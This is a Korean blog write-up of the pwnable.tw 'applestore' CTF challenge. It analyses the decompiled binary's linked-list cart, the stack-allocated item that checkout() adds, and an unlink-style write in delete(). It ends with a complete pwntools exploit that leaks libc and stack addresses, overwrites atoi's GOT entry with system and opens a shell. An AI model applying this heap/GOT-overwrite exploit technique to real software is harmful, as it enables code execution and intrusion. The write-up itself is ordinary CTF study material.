ghkdtlwns987
[pwnable.tw] applestore 본문
int __cdecl main(int argc, const char **argv, const char **envp)
{
signal(14, timeout);
alarm(60u);
memset(&myCart, 0, 0x10u);
menu();
return handler(); // main 함수 종룧 후 실행
}
main 함수는 다음과 같다.
memset 함수를 보면 &myCart 를 초기화해 주는데, myCart 가 뭐하는 건지 한번 보도록 하자.
음... 그냥 .bss 영역에 존재하는 전역변수라는 정도만 알아두도록 하자.
(구조체일 수도 있다. 분석해보면서 뭐하는 변수인지 알아보자.)
handler()
unsigned int handler()
{
char nptr; // [esp+16h] [ebp-22h]
unsigned int v2; // [esp+2Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
while ( 1 )
{
printf("> ");
fflush(stdout);
my_read(&nptr, 0x15u);
switch ( atoi(&nptr) )
{
case 0:
puts("It's not a choice! Idiot.");
break;
case 1:
list(); // list 출력
break;
case 2:
add();
break;
case 3:
delete();
break;
case 4:
cart();
break;
case 5:
checkout();
break;
case 6:
puts("Thank You for Your Purchase!");
return __readgsdword(0x14u) ^ v2;
}
}
}
다음은 handler() 함수인데, 1,2,3,4,5 번을 입력하는 상황마다 뭔가 다를거 같다.
숫자를 입력하기 전에, my_read() 함수가 존재한다.
my_read()
char *__cdecl my_read(void *buf, size_t nbytes)
{
char *result; // eax
ssize_t local_buf; // [esp+1Ch] [ebp-Ch]
local_buf = read(0, buf, nbytes);
if ( local_buf == -1 )
return (char *)puts("Input Error.");
result = (char *)buf + local_buf;
*((_BYTE *)buf + local_buf) = 0;
return result;
}
my_read(buf, nbytes) 함수가 있는데,
my_read() 에서 선언한 buf 에 read() 함수의 size를 저장한다.
그런데, 아무것도 입력하지 않으면 puts 를 반환함과 동시에 Input Error 을 출력한다.
정상적인 입력이라면
result = buf[local_buf] 꼴로 저장하고
buf[local_buf] = 0 으로 바꾸고
return result 해준다.
=> 값을 입력하게 되면 입력한 값의 길이가 저장되고, 정상적인 입력시
buf[local_buf] 가 반환되는데, 맨 마지막 인덱스 값은 0으로 설정하고 이를 반환한다.
1. list()
int list()
{
puts("=== Device List ===");
printf("%d: iPhone 6 - $%d\n", 1, 199);
printf("%d: iPhone 6 Plus - $%d\n", 2, 299);
printf("%d: iPad Air 2 - $%d\n", 3, 499);
printf("%d: iPad Mini 3 - $%d\n", 4, 399);
return printf("%d: iPod Touch - $%d\n", 5, 199);
}
대충 list 출력이다, 각각 199, 299, 499, 399, 199 를 출력해준다.
2. add()
unsigned int add()
{
char **buf; // [esp+1Ch] [ebp-2Ch]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Device Number> ");
fflush(stdout);
my_read(&nptr, 21u);
switch ( atoi(&nptr) )
{
case 0:
puts("Stop doing that. Idiot!");
return __readgsdword(0x14u) ^ v3;
case 1:
buf = create((int)"iPhone 6", (char *)199);
insert((int)buf);
break;
case 2:
buf = create((int)"iPhone 6 Plus", (char *)299);
insert((int)buf);
break;
case 3:
buf = create((int)"iPad Air 2", (char *)499);
insert((int)buf);
break;
case 4:
buf = create((int)"iPad Mini 3", (char *)399);
insert((int)buf);
break;
case 5:
buf = create((int)"iPod Touch", (char *)199);
insert((int)buf);
break;
}
printf("You've put *%s* in your shopping cart.\n", *buf);
puts("Brilliant! That's an amazing idea.");
return __readgsdword(0x14u) ^ v3;
}
1, 2, 3, 4, 5 번을 입력하는데, 각각 create() 와 insert() 가 호출된다.
그럼 create() 와 insert() 함수를 차례로 분석해 보자.
create() 함수
char **__cdecl create(int var1, char *var2)
{
char **v2; // eax
char **v3; // ST1C_4
v2 = (char **)malloc(16u); // malloc[][16]
v3 = v2;
v2[1] = var2;
asprintf(v2, "%s", var1); // sprintf 와 비슷하다
v3[2] = 0;
v3[3] = 0;
return v3;
}
다음을 보면 create(int var1, char * var2) 가 있다. 코드를 보면 2차원 포인터(2차원 배열)을 선언해 주고,
이를 v3변수에 저장한다. 여기서 var1 은 'iPhone~'이 들어가고 var2 는 (char*)299... 가 들어간다.
그리고 v2[1] 애 var2에 가격(199, 299..)이 들어가게 된다.
그리고 asprintf() 함수로 이를 출력해 주는데, 여기서 asprintf() 함수는 sprintf()와 비슷하다고 한다.
그냥 이정도면 알고있는걸로 하고,
나머지 v3[2] = 0, v3[3] = 0 으로 v3의 나머지 값들을 0으로 초기화 해 준다.
=>값을 입력하면 malloc() 으로 2차원 포인터(배열)을 선언하고, 'iphone~'을 저장하고, 299,199 등을
char* 로 전달받고, 이를 저장한다. v[1] 에는 (char *)299 와 같은 char * 가 저장된다.
insert()
int __cdecl insert(int var)
{
int result; // eax
_DWORD *i; // [esp+Ch] [ebp-4h] // 스택 공간
for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
;
i[2] = var;
result = var;
*(_DWORD *)(var + 12) = i;
return result;
}
insert() 함수를 보면 int * i 가 선언되었고,
i를 &myCart에 저장되어 있는 값으로 초기화를 시켜주고,
i[0] i[1] i[2] 에 있는 값만큼 반복, i = i[myCart] 횟수만큼 반복한다.
i[2] = var, result = var (여기서 var은 insert() 함수에서 인자로 받은 변수이다) (이는 malloc() 한 값과 같다.)
마지막에 (var + 12) = i인데, (여기서 var + 12 = var[3])
이는 malloc() 으로 할당받았던 공간에 myCart 의 주소를 저장한다.
=> myCart에 이전에 malloc() 해 주었던 값을 저장하고, malloc[3][16] 에 myCart 를 다시 저장한다.
(fd <-> bk) 느낌? 여기서 insert() 함수는 스택 공간에 값을 저장한다.(중요)
=> add() 함수는 create() 함수에서 2차원 동적 배열을 할당하고, 이를 반환한 값을
insert() 함수에 넣어 저장한다.
2. delete
unsigned int delete()
{
signed int v1; // [esp+10h] [ebp-38h]
_DWORD *v2; // [esp+14h] [ebp-34h]
int v3; // [esp+18h] [ebp-30h]
int v4; // [esp+1Ch] [ebp-2Ch]
int v5; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]
v7 = __readgsdword(20u);
v1 = 1;
v2 = (_DWORD *)myCart_8; // myCart+8
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 21u);
v3 = atoi(&nptr);
while ( v2 )
{
if ( v1 == v3 )
{
v4 = v2[2];
v5 = v2[3];
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = (_DWORD *)v2[2];
}
return __readgsdword(0x14u) ^ v7;
}
delete() 함수를 보면 값을 입력받고 입력받은 값 만큼 while() 루프를 반복하는데, if문 바깥에서는
++v1을 해주기 때문에, v1의 값이 계속해서 증가하고 myCart[2] 부분을 v2 에 저장하는데,
여기서 myCart[2] 은 heap 주소가 저장되어 있다.
if문을 보게 되면(while()문을 반복한 횟수가 같으면 진입)
드디어 myCart 에 저장되어 있는 값들이 변경된다. 그리고 삭제되었다는 메세지가 뜬다.
왠지 여기서 취약점이 발생할 거 같다는 합리적인 의심을 해보자.
=> create() 에서 malloc() 으로 값을 생성했다.
그런데 이를 free() 함수를 호출하는게 아닌, 반복문을 사용해 0이 저장되어 있는 공간을 넣어줌으로서
초기화 시켜준다고 보면 된다.
3.cart
int cart()
{
signed int v0; // eax
signed int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
_DWORD *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 121 )
{
puts("==== Cart ====");
for ( i = (_DWORD *)myCart_8; i; i = (_DWORD *)i[2] )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *i, i[1]);
v3 += i[1];
}
}
return v3;
}
=> 값들을 모두 출력해 주고 가격을 모두 더해서 return 해 주는 함수이다.
여기있는 cart() 함수에서 my_read() 함수를 호출하는데, 값을 입력할 때
my_read() 함수 내의 공간에 선언된 지역 변수의 값을 수정 할 수 있다.
4. checkout
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = 1;
insert((int)&v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}
cart() 에서 return 한 값을 v1에 저장하고, return 된 값이(총 가격)이 7174 라면
iPhone8을 추가로 넣어주고
v1에 7175 가 '스택'에 저장된다.
=> 총 가격이 7174 라면 iPhone8이 insert() 되고 이전 cart() 에서 return 받았던 값이 7175로 변경된다.
여기서 주의 깊게 봐야하는게 add() 함수에서는 create() 함수에서 반환 된 값을
insert() 함수로 넣어주었는데, 여기서는 create() 함수를 사용하지 않고,
곧바로 insert() 함수에 값을 저장하는데, 중요한 건 v2 가 '스택' 에 저장된다는 것이다.
+ 앞서 말했듯이 fd <-> bk 형식(double linked) 방식으로 저장이 되는데,
맨 마지막에 스택에 값이 저장되기 때문에, 이때부터 스택이 계속해서 쓰이게 된다.
exploit senario
checkout() 으로 스택에 값을 저장한 뒤, my_read() 함수가 저장되어 있는 함수를 사용해
스택의 데이터를 계속해 조작할 수 있다. 이러한 방식으로 libc_leak 하고, 스택의 주소를 구해
eip 컨트롤 한다. eip를 컨트롤 하는 법은 delete() 함수를 이용하는 것이다.
libc_leak 은
cart() 함수에서 printf() 문을 이용할 것이다. 7174 를 만든 후 cart() 가 실행되기 전 bp 를 걸고 스택을 확인해 보면
$esp - 0x30 부분을 출력해 보니, heap 에 쓰일 공간이 stack 에 할당되어 있다.
그렇다면 이대로 한번 출력해보자.
cart() 함수 실행
출력해 주는 부번애 0xfffff.... 어쩌고 출력되는데,
바로 밑 스택을 보면
다음과 같은 부분이 printf의 두 분째 인자로 출력이 된다. 이 부분을 puts_got 를 넣어주어 libc_leak 을 할 것이다.
내가 libc_leak 한 것 처럼 stack 의 주소를 leak 해야 한다.
dreamhack 을 공부했던 분들이라면 하시겠지만, 스택의 주소를 구하는 법은 environ 주소를 구하면 된다.
따라서 environ 의 주소를 구하고 또 다시 libc 한 것처럼 과정을 반복하면 stack 주소가 leak 되는데,
여기서 offset 을 구해주면 된다.
스택 주소를 모두 구했으면 delete() 함수로 값을 넣어주는데,
atoi_got 값을 system() 함수로 덮어주자.
다음은 cart() 함수 내부의 ebp 를 atoi_got
environ - 260 을 해주면 될 거 같다.
그리고 delete() 함수를 이용해 system('/bin/sh') 를 덮으려 한다.
본래는 atoi_got 를 덮으려고 했는데, vmmap 으로 확인해 보면 쓰기 권한이 존재하지 않았다.
그래서 다른 방법을 써야 한다.
다음은 my_read() 함수가 호출되는 과정이다.
보다싶이
lea eax, ebp + nptr
mov [esp], eax 가 존재하는데,
my_read() 함수는 ebp를 기준으로 함수에 인자로 전달되고, ebp 를 기준으로 입력되는 것 으로 보인다.
=> ebp 의 값을 atoi_got(덮을 주소) 로 덮게 되면 버퍼에 atoi_got가 들어가게 되어
my_read() 가 실행되면서 atoi_got 에 내가 원하는 값을 넣어줄 수 있을 것이다.
from pwn import*
import argparse
context(arch='i386',os='linux')
context.log_level = 'debug'
parser = argparse.ArgumentParser()
parser.add_argument('-p','--process', action = 'store_true',help='-p -> process')
parser.add_argument('-r','--remote', action = 'store_true',help='-r -> remote')
args = parser.parse_args()
host = 'chall.pwnable.tw'
port = 10104
elf = ELF('./applestore')
breakpoint = {'bp':0x08048c54}
def add(select):
r.sendlineafter('> ','2')
r.sendlineafter('Number> ',str(select))
def remove(select):
r.sendlineafter('> ','3')
r.sendlineafter('Number> ',str(select))
def cart(context):
r.sendlineafter('> ','4')
r.sendlineafter('(y/n) > ',str(context))
def check_out():
r.sendlineafter('> ','5')
r.sendlineafter('(y/n) > ','y')
def exploit():
for i in range(6):
add(1)
for i in range(20):
add(2)
check_out()
pause()
payload = ''
payload += 'y\x00'
payload += p32(elf.got['puts'])
payload += '\x00\x00\x00\x00'*3
cart(payload)
r.recvuntil('27: ')
leak = u32(r.recv(4))
libc_base = leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search('/bin/sh'))[0]
log.info('leak = '+hex(leak))
log.info('libc_base = '+hex(libc_base))
log.info('system_addr = '+hex(system_addr))
log.info('binsh_addr = '+hex(binsh))
environ = libc_base + libc.symbols['environ']
log.info('environ = '+hex(environ))
payload = ''
payload += 'y\x00'
payload += p32(environ)
payload += '\x00\x00\x00\x00'*4
cart(payload)
r.recvuntil('27: ')
environ_addr = u32(r.recv(4))
log.info('environ_addr = '+hex(environ_addr))
cart_ebp = environ_addr - 260
cart_ebp_8 = cart_ebp - 0x8
payload = '27'
payload += p32(environ_addr)
payload += p32(0)
payload += p32(elf.got['atoi'] + 0x22)
payload += p32(cart_ebp_8)
remove(payload)
payload = p32(system_addr)
payload += ';/bin/sh\x00'
r.recvuntil('>')
r.sendline(payload)
r.interactive()
if args.remote:
r = remote(host,port)
libc = ELF('./libc_32.so.6')
exploit()
if args.process:
r = process('./applestore')
libc = elf.libc
exploit()
else:
context.terminal = ['tmux','splitw','-h']
r = process('./applestore')
libc = elf.libc
gdb.attach(r,'b* {}'.format(breakpoint['bp']))
exploit()
'pwnable.tw' 카테고리의 다른 글
[pwnable.tw] unexploitable (0) | 2021.01.23 |
---|---|
[pwnable.tw] seethefile (0) | 2021.01.16 |
[pwnable.tw] silver_bullet (0) | 2020.12.24 |
[pwnable.tw] hacknote (0) | 2020.12.07 |
[pwnable.tw] dubblesort (0) | 2020.11.22 |